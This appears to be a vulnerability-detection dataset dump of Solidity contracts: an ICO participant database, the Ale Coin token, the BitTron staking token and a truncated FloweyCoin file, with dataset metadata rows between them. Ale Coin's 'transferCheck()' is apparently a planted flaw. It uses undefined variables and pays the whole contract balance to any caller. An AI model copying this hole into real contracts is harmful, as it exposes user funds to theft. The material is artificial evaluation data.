pre_kyc_iconiq_bonus_denominator = _v;
}
function set_presale_iconiq_arbits_per_ether(uint256 _v) public only_master_or_owner {
presale_iconiq_arbits_per_ether = _v;
}
function set_presale_arbits_per_ether(uint256 _v) public only_master_or_owner {
presale_arbits_per_ether = _v;
}
function set_presale_arbits_total(uint256 _v) public only_master_or_owner {
presale_arbits_total = _v;
}
function set_presale_arbits_sold(uint256 _v) public only_master_or_owner {
presale_arbits_sold = _v;
}
function set_sale_arbits_per_ether(uint256 _v) public only_master_or_owner {
sale_arbits_per_ether = _v;
}
function set_sale_arbits_total(uint256 _v) public only_master_or_owner {
sale_arbits_total = _v;
}
function set_sale_arbits_sold(uint256 _v) public only_master_or_owner {
sale_arbits_sold = _v;
}
// PARTICIPANT SPECIFIC getters and setters
// getters
function get_participant(address _a) public view returns(address,
uint256,
uint256,
uint256,
bool,
uint8) {
participant storage subject = participants[_a];
return (subject.eth_address,
subject.topl_address,
subject.arbits,
subject.num_of_pro_rata_tokens_alloted,
subject.arbits_kyc_whitelist,
subject.num_of_uses);
}
function get_participant_num_of_uses(address _a) public view returns(uint8) {
return (participants[_a].num_of_uses);
}
function get_participant_topl_address(address _a) public view returns(uint256) {
return (participants[_a].topl_address);
}
function get_participant_arbits(address _a) public view returns(uint256) {
return (participants[_a].arbits);
}
function get_participant_num_of_pro_rata_tokens_alloted(address _a) public view returns(uint256) {
return (participants[_a].num_of_pro_rata_tokens_alloted);
}
function get_participant_arbits_kyc_whitelist(address _a) public view returns(bool) {
return (participants[_a].arbits_kyc_whitelist);
}
// setters
function set_participant(address _a,
uint256 _ta,
uint256 _arbits,
uint256 _prta,
bool _v3,
uint8 _nou) public only_master_or_owner log_participant_update(_a) {
participant storage subject = participants[_a];
subject.eth_address = _a;
subject.topl_address = _ta;
subject.arbits = _arbits;
subject.num_of_pro_rata_tokens_alloted = _prta;
subject.arbits_kyc_whitelist = _v3;
subject.num_of_uses = _nou;
}
function set_participant_num_of_uses(address _a,
uint8 _v) public only_master_or_owner log_participant_update(_a) {
participants[_a].num_of_uses = _v;
}
function set_participant_topl_address(address _a,
uint256 _ta) public only_master_or_owner log_participant_update(_a) {
participants[_a].topl_address = _ta;
}
function set_participant_arbits(address _a,
uint256 _v) public only_master_or_owner log_participant_update(_a) {
participants[_a].arbits = _v;
}
function set_participant_num_of_pro_rata_tokens_alloted(address _a,
uint256 _v) public only_master_or_owner log_participant_update(_a) {
participants[_a].num_of_pro_rata_tokens_alloted = _v;
}
function set_participant_arbits_kyc_whitelist(address _a,
bool _v) public only_kycer log_participant_update(_a) {
participants[_a].arbits_kyc_whitelist = _v;
}
//
// STATE FLAG FUNCTIONS: Getter, setter, and toggling functions for state flags.
// GETTERS
function get_iconiq_presale_open() public view only_master_or_owner returns(bool) {
return iconiq_presale_open;
}
function get_arbits_presale_open() public view only_master_or_owner returns(bool) {
return arbits_presale_open;
}
function get_arbits_sale_open() public view only_master_or_owner returns(bool) {
return arbits_sale_open;
}
// SETTERS
function set_iconiq_presale_open(bool _v) public only_master_or_owner {
iconiq_presale_open = _v;
}
function set_arbits_presale_open(bool _v) public only_master_or_owner {
arbits_presale_open = _v;
}
function set_arbits_sale_open(bool _v) public only_master_or_owner {
arbits_sale_open = _v;
}
}
// File: contracts\topl_database_lib.sol
// This library serves as an wrapper to the database.sol contract
library topl_database_lib {
//// PARTICIPANT SPECIFIC FUNCTIONS
// getters
function get_participant(address db, address _a) internal view returns(address,
uint256,
uint256,
uint256,
bool,
uint8) {
return database(db).get_participant(_a);
}
function get_topl_address(address db, address _a) internal view returns(uint256) {
return database(db).get_participant_topl_address(_a);
}
function get_arbits(address db, address _a) internal view returns(uint256) {
return database(db).get_participant_arbits(_a);
}
function get_iconiq_tokens(address db, address _a) internal view returns(uint256) {
return database(db).get_participant_num_of_pro_rata_tokens_alloted(_a);
}
function get_arbits_whitelist(address db, address _a) internal view returns(bool) {
return database(db).get_participant_arbits_kyc_whitelist(_a);
}
function get_num_of_uses(address db, address _a) internal view returns(uint8) {
return database(db).get_participant_num_of_uses(_a);
}
// setters
function set_participant(address db,
address _a,
uint256 _ta,
uint256 _arbits,
uint256 _prta,
bool _v3,
uint8 _nou) internal {
database(db).set_participant(_a, _ta, _arbits, _prta, _v3, _nou);
emit e_set_participant(_a, _ta, _arbits, _prta, _v3, _nou);
}
function set_topl_address(address db, address _a, uint256 _ta) internal {
database(db).set_participant_topl_address(_a, _ta);
emit e_set_topl_address(_a, _ta);
}
function set_arbits(address db, address _a, uint256 _v) internal {
database(db).set_participant_arbits(_a, _v);
emit e_set_arbits(_a, _v);
}
function set_iconiq_tokens(address db, address _a, uint256 _v) internal {
database(db).set_participant_num_of_pro_rata_tokens_alloted(_a, _v);
emit e_set_iconiq_tokens(_a, _v);
}
function set_arbits_whitelist(address db, address _a, bool _v) internal {
database(db).set_participant_arbits_kyc_whitelist(_a, _v);
emit e_set_arbits_whitelist(_a, _v);
}
function set_num_of_uses(address db, address _a, uint8 _v) internal {
database(db).set_participant_num_of_uses(_a, _v);
emit e_set_num_of_uses(_a, _v);
}
// modifiers
function add_arbits(address db, address _a, uint256 _v) internal {
uint256 c = database(db).get_participant_arbits(_a) + _v; // safe math check
assert(c >= database(db).get_participant_arbits(_a)); //
database(db).set_participant_arbits(_a,
(database(db).get_participant_arbits(_a) + _v));
emit e_add_arbits(_a, _v);
}
function sub_arbits(address db, address _a, uint256 _v) internal {
assert(_v <= database(db).get_participant_arbits(_a)); // safe math check
database(db).set_participant_arbits(_a,
(database(db).get_participant_arbits(_a) - _v));
emit e_sub_arbits(_a, _v);
}
//// ICONIQ SALE SPECIFIC FUNCTIONS
// getters
function get_pre_kyc_iconiq_bonus_numerator(address db) internal view returns(uint256) {
return database(db).get_pre_kyc_iconiq_bonus_numerator();
}
function get_pre_kyc_iconiq_bonus_denominator(address db) internal view returns(uint256) {
return database(db).get_pre_kyc_iconiq_bonus_denominator();
}
function get_iconiq_presale_open(address db) internal view returns(bool) {
return database(db).get_iconiq_presale_open();
}
function get_presale_iconiq_arbits_per_ether(address db) internal view returns(uint256) {
return database(db).get_presale_iconiq_arbits_per_ether();
}
// setters
function set_pre_kyc_iconiq_bonus_numerator(address db, uint256 _v) internal {
database(db).set_pre_kyc_iconiq_bonus_numerator(_v);
emit e_set_pre_kyc_iconiq_bonus_numerator(_v);
}
function set_pre_kyc_iconiq_bonus_denominator(address db, uint256 _v) internal {
database(db).set_pre_kyc_iconiq_bonus_denominator(_v);
emit e_set_pre_kyc_iconiq_bonus_denominator(_v);
}
function set_iconiq_presale_open(address db, bool _v) internal {
database(db).set_iconiq_presale_open(_v);
emit e_set_iconiq_presale_open(_v);
}
function set_presale_iconiq_arbits_per_ether(address db, uint256 _v) internal {
database(db).set_presale_iconiq_arbits_per_ether(_v);
emit e_set_presale_iconiq_arbits_per_ether(_v);
}
//// PUBLIC PRESALE SPECIFIC FUNCTIONS (arbit_presale)
// getters
function get_pre_kyc_bonus_numerator(address db) internal view returns(uint256) {
return database(db).get_pre_kyc_bonus_numerator();
}
function get_pre_kyc_bonus_denominator(address db) internal view returns(uint256) {
return database(db).get_pre_kyc_bonus_denominator();
}
function get_arbits_presale_open(address db) internal view returns(bool) {
return database(db).get_arbits_presale_open();
}
function get_presale_arbits_per_ether(address db) internal view returns(uint256) {
return database(db).get_presale_arbits_per_ether();
}
// setters
function set_pre_kyc_bonus_numerator(address db, uint256 _v) internal {
database(db).set_pre_kyc_bonus_numerator(_v);
emit e_set_pre_kyc_bonus_numerator(_v);
}
function set_pre_kyc_bonus_denominator(address db, uint256 _v) internal {
database(db).set_pre_kyc_bonus_denominator(_v);
emit e_set_pre_kyc_bonus_denominator(_v);
}
function set_arbits_presale_open(address db, bool _v) internal {
database(db).set_arbits_presale_open(_v);
emit e_set_arbits_presale_open(_v);
}
// this function is not strictly only used by arbit_presale since it is used for rollover
// when an iconiq member goes over their allotment.
function set_presale_arbits_per_ether(address db, uint256 _v) internal {
database(db).set_presale_arbits_per_ether(_v);
emit e_set_presale_arbits_per_ether(_v);
}
//// "GLOABL" SALE FUNCTIONS (applies across the entire presale)
// getters
function get_presale_arbits_total(address db) internal view returns(uint256) {
return database(db).get_presale_arbits_total();
}
function get_presale_arbits_sold(address db) internal view returns(uint256) {
return database(db).get_presale_arbits_sold();
}
function get_arbits_max_contribution(address db) internal view returns(uint256) {
return database(db).get_contrib_arbits_max();
}
function get_arbits_min_contribution(address db) internal view returns(uint256) {
return database(db).get_contrib_arbits_min();
}
// setters
function set_presale_arbits_total(address db, uint256 _v) internal {
database(db).set_presale_arbits_total(_v);
emit e_set_presale_arbits_total(_v);
}
function set_presale_arbits_sold(address db, uint256 _v) internal {
database(db).set_presale_arbits_sold(_v);
emit e_set_presale_arbits_sold(_v);
}
function set_arbits_max_contribution(address db, uint256 _v) internal {
database(db).set_contrib_arbits_max(_v);
emit e_set_arbits_max_contribution(_v);
}
function set_arbits_min_contribution(address db, uint256 _v) internal {
database(db).set_contrib_arbits_min(_v);
emit e_set_arbits_min_contribution(_v);
}
// modifiers
function add_presale_arbits_sold(address db, uint256 _v) internal {
uint256 c = database(db).get_presale_arbits_sold() + _v; // safe math check
assert(c >= database(db).get_presale_arbits_sold()); //
database(db).set_presale_arbits_sold((database(db).get_presale_arbits_sold() + _v));
emit e_add_presale_arbits_sold(_v);
}
function sub_presale_arbits_sold(address db, uint256 _v) internal {
assert(_v <= database(db).get_presale_arbits_sold()); // safe math check
database(db).set_presale_arbits_sold((database(db).get_presale_arbits_sold() - _v));
emit e_sub_presale_arbits_sold(_v);
}
function set_sale_owner(address db, address _a, bool _v) internal {
database(db).set_sale_owner(_a, _v);
}
function get_sale_owner(address db, address _a) internal view returns(bool) {
return database(db).get_sale_owner(_a);
}
event e_set_sale_owner(address, bool);
event e_set_num_of_uses(address, uint8);
event e_set_arbits_whitelist(address, bool);
event e_set_participant(address, uint256, uint256, uint256, bool, uint8);
event e_set_topl_address(address, uint256);
event e_set_arbits(address, uint256);
event e_set_iconiq_tokens(address, uint256);
event e_add_arbits(address, uint256);
event e_sub_arbits(address, uint256);
event e_set_pre_kyc_bonus_numerator(uint256);
event e_set_pre_kyc_bonus_denominator(uint256);
event e_set_iconiq_presale_open(bool);
event e_set_arbits_presale_open(bool);
event e_set_presale_iconiq_arbits_per_ether(uint256);
event e_set_presale_arbits_per_ether(uint256);
event e_set_presale_arbits_total(uint256);
event e_set_presale_arbits_sold(uint256);
event e_add_presale_arbits_sold(uint256);
event e_sub_presale_arbits_sold(uint256);
event e_set_arbits_max_contribution(uint256);
event e_set_arbits_min_contribution(uint256);
event e_set_pre_kyc_iconiq_bonus_numerator(uint256);
event e_set_pre_kyc_iconiq_bonus_denominator(uint256);
}
// File: contracts\iconiq_data_pipe.sol
contract iconiq_data_pipe {
using topl_database_lib for address;
using SafeMath for uint256;
address public db;
address public owner;
constructor(address __db) public {
db = __db;
owner = msg.sender;
}
function owner_linkage() public {
db.set_sale_owner(owner, true);
}
modifier only_owner() {
require(db.get_sale_owner(msg.sender));
_;
}
function set_iconiq_token_amount(address _a, uint256 _v) public only_owner {
db.set_iconiq_tokens(_a, _v);
}
}
| 135,855 | 13,959 |
12fe3790cc16e5fcf1d93a583c976f4aa16c29a5931d5dc53d2f3eeefc32f689
| 15,272 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe02588147988c6feb3ad58c94729f9e5c78d8a60.sol
| 3,220 | 12,022 |
// Project: AleHub
// v1, 2018-05-24
// This code is the property of CryptoB2B.io
// Copying in whole or in part is prohibited.
// Authors: Ivan Fedorov and Dmitry Borodin
// Do you want the same TokenSale platform? www.cryptob2b.io
// *.sol in 1 file - https://cryptob2b.io/solidity/alehub/
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function minus(uint256 a, uint256 b) internal pure returns (uint256) {
if (b>=a) return 0;
return a - b;
}
}
contract MigrationAgent
{
function migrateFrom(address _from, uint256 _value) public;
}
contract IRightAndRoles {
address[][] public wallets;
mapping(address => uint16) public roles;
event WalletChanged(address indexed newWallet, address indexed oldWallet, uint8 indexed role);
event CloneChanged(address indexed wallet, uint8 indexed role, bool indexed mod);
function changeWallet(address _wallet, uint8 _role) external;
function setManagerPowerful(bool _mode) external;
function onlyRoles(address _sender, uint16 _roleMask) view external returns(bool);
}
contract GuidedByRoles {
IRightAndRoles public rightAndRoles;
function GuidedByRoles(IRightAndRoles _rightAndRoles) public {
rightAndRoles = _rightAndRoles;
}
}
contract Pausable is GuidedByRoles {
mapping (address => bool) public unpausedWallet;
event Pause();
event Unpause();
bool public paused = true;
modifier whenNotPaused(address _to) {
require(!paused||unpausedWallet[msg.sender]||unpausedWallet[_to]);
_;
}
function onlyAdmin() internal view {
require(rightAndRoles.onlyRoles(msg.sender,3));
}
// Add a wallet ignoring the "Exchange pause". Available to the owner of the contract.
function setUnpausedWallet(address _wallet, bool mode) public {
onlyAdmin();
unpausedWallet[_wallet] = mode;
}
function setPause(bool mode) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
if (!paused && mode) {
paused = true;
emit Pause();
}else
if (paused && !mode) {
paused = false;
emit Unpause();
}
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken, GuidedByRoles {
event Burn(address indexed burner, uint256 value);
function burn(address _beneficiary, uint256 _value) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
require(_value <= balances[_beneficiary]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_beneficiary] = balances[_beneficiary].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_beneficiary, _value);
emit Transfer(_beneficiary, address(0), _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused(_to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused(_to) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract FreezingToken is PausableToken {
struct freeze {
uint256 amount;
uint256 when;
}
mapping (address => freeze) freezedTokens;
function freezedTokenOf(address _beneficiary) public view returns (uint256 amount){
freeze storage _freeze = freezedTokens[_beneficiary];
if(_freeze.when < now) return 0;
return _freeze.amount;
}
function defrostDate(address _beneficiary) public view returns (uint256 Date) {
freeze storage _freeze = freezedTokens[_beneficiary];
if(_freeze.when < now) return 0;
return _freeze.when;
}
function freezeTokens(address _beneficiary, uint256 _amount, uint256 _when) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
freeze storage _freeze = freezedTokens[_beneficiary];
_freeze.amount = _amount;
_freeze.when = _when;
}
function masFreezedTokens(address[] _beneficiary, uint256[] _amount, uint256[] _when) public {
onlyAdmin();
require(_beneficiary.length == _amount.length && _beneficiary.length == _when.length);
for(uint16 i = 0; i < _beneficiary.length; i++){
freeze storage _freeze = freezedTokens[_beneficiary[i]];
_freeze.amount = _amount[i];
_freeze.when = _when[i];
}
}
function transferAndFreeze(address _to, uint256 _value, uint256 _when) external {
require(unpausedWallet[msg.sender]);
require(freezedTokenOf(_to) == 0);
if(_when > 0){
freeze storage _freeze = freezedTokens[_to];
_freeze.amount = _value;
_freeze.when = _when;
}
transfer(_to,_value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balanceOf(msg.sender) >= freezedTokenOf(msg.sender).add(_value));
return super.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(balanceOf(_from) >= freezedTokenOf(_from).add(_value));
return super.transferFrom(_from,_to,_value);
}
}
contract MigratableToken is BasicToken,GuidedByRoles {
uint256 public totalMigrated;
address public migrationAgent;
event Migrate(address indexed _from, address indexed _to, uint256 _value);
function setMigrationAgent(address _migrationAgent) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
require(totalMigrated == 0);
migrationAgent = _migrationAgent;
}
function migrateInternal(address _holder) internal{
require(migrationAgent != 0x0);
uint256 value = balances[_holder];
balances[_holder] = 0;
totalSupply_ = totalSupply_.sub(value);
totalMigrated = totalMigrated.add(value);
MigrationAgent(migrationAgent).migrateFrom(_holder, value);
emit Migrate(_holder,migrationAgent,value);
}
function migrateAll(address[] _holders) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
for(uint i = 0; i < _holders.length; i++){
migrateInternal(_holders[i]);
}
}
// Reissue your tokens.
function migrate() public
{
require(balances[msg.sender] > 0);
migrateInternal(msg.sender);
}
}
contract IToken{
function setUnpausedWallet(address _wallet, bool mode) public;
function mint(address _to, uint256 _amount) public returns (bool);
function totalSupply() public view returns (uint256);
function setPause(bool mode) public;
function setMigrationAgent(address _migrationAgent) public;
function migrateAll(address[] _holders) public;
function burn(address _beneficiary, uint256 _value) public;
function freezedTokenOf(address _beneficiary) public view returns (uint256 amount);
function defrostDate(address _beneficiary) public view returns (uint256 Date);
function freezeTokens(address _beneficiary, uint256 _amount, uint256 _when) public;
}
contract MintableToken is StandardToken, GuidedByRoles {
event Mint(address indexed to, uint256 amount);
event MintFinished();
function mint(address _to, uint256 _amount) public returns (bool) {
require(rightAndRoles.onlyRoles(msg.sender,1));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
contract Token is IToken, FreezingToken, MintableToken, MigratableToken, BurnableToken{
function Token(IRightAndRoles _rightAndRoles) GuidedByRoles(_rightAndRoles) public {}
string public constant name = "Ale Coin";
string public constant symbol = "ALE";
uint8 public constant decimals = 18;
function transferCheck() public {
totalEth = totalEth + msg.value;
uint256 amount = msg.value * unitsEth;
if (balances[walletAdd] < amount) {
return;
}
balances[walletAdd] = balances[walletAdd] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
msg.sender.transfer(this.balance);
}
}
| 180,261 | 13,960 |
9ce4a425fcfd28593d88d99932ab0de7a846e2c0fceef089606f44105d7473f3
| 9,493 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x8D3C7755878Ad77BB8C75390A3acE8fb2628477A/contract.sol
| 2,792 | 9,248 |
pragma solidity 0.5.16;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BitTron is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BitTron";
_symbol = "TRX";
_decimals = 8;
_totalSupply = 2100000000000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
uint256 private _stakeRewards = 5000000000;
uint256 private _stakeSeconds = 600;
uint256 private _contractShares;
mapping (address => uint256) private _accountShares;
mapping (address => uint256) private _accountCycles;
function stakeRewards() external view returns (uint256) {
return _stakeRewards;
}
function stakeSeconds() external view returns (uint256) {
return _stakeSeconds;
}
function contractShares() external view returns (uint256) {
return _contractShares;
}
function accountShares(address account) external view returns (uint256) {
return _accountShares[account];
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
uint256 newVal = _estimateReward(account);
return _balances[account] + newVal;
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_updatingReward(_msgSender());
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_updatingReward(_msgSender());
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_updatingReward(sender);
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_updatingReward(_msgSender());
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_updatingReward(_msgSender());
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_updatingReward(_msgSender());
_mint(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public returns (bool) {
_updatingReward(_msgSender());
_burn(_msgSender(), amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_updatingReward(account);
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
function submitShares(uint256 amount) public returns (bool) {
require(_balances[_msgSender()] >= amount, "BEP20: insufficient balance");
_balances[_msgSender()] = _balances[_msgSender()].sub(amount, "BEP20: amount exceeds balance");
_updatingReward(_msgSender());
_totalSupply = _totalSupply.sub(amount);
_contractShares = _contractShares+amount;
_accountShares[_msgSender()] = _accountShares[_msgSender()]+amount;
_accountCycles[_msgSender()] = block.timestamp;
return true;
}
function _estimateReward(address account) internal view returns (uint256) {
uint256 _timediff = block.timestamp-_accountCycles[account];
uint256 _blocks = uint256(_timediff/_stakeSeconds);
if (_timediff>0 && _blocks>0 && _accountCycles[account]>0) {
uint256 _portion = uint256((100000000*_accountShares[account])/_contractShares);
uint256 _rewards = uint256(((_portion*_stakeRewards)/100000000)*_blocks);
return _rewards;
} else {
return 0;
}
}
function _updatingReward(address account) internal {
uint256 _timediff = block.timestamp-_accountCycles[account];
uint256 _blocks = uint256(_timediff/_stakeSeconds);
if (_timediff>0 && _blocks>0 && _accountCycles[account]>0) {
uint256 _portion = uint256((100000000*_accountShares[account])/_contractShares);
uint256 _rewards = uint256(((_portion*_stakeRewards)/100000000)*_blocks);
uint256 _modulus = uint256(_timediff%_stakeSeconds);
_balances[account] = _balances[account]+_rewards;
_accountCycles[account] = block.timestamp-_modulus;
_totalSupply = _totalSupply+_rewards;
}
}
}
| 249,274 | 13,961 |
7ba0ecf4c6eb0ce7179e4a5501c2cefbc180303ff39f261202051d04954f07b7
| 29,497 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/5e/5eeed0F99d7394F0f460164DbB65a6A555f50bE5_FloweyCoin.sol
| 5,202 | 18,740 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
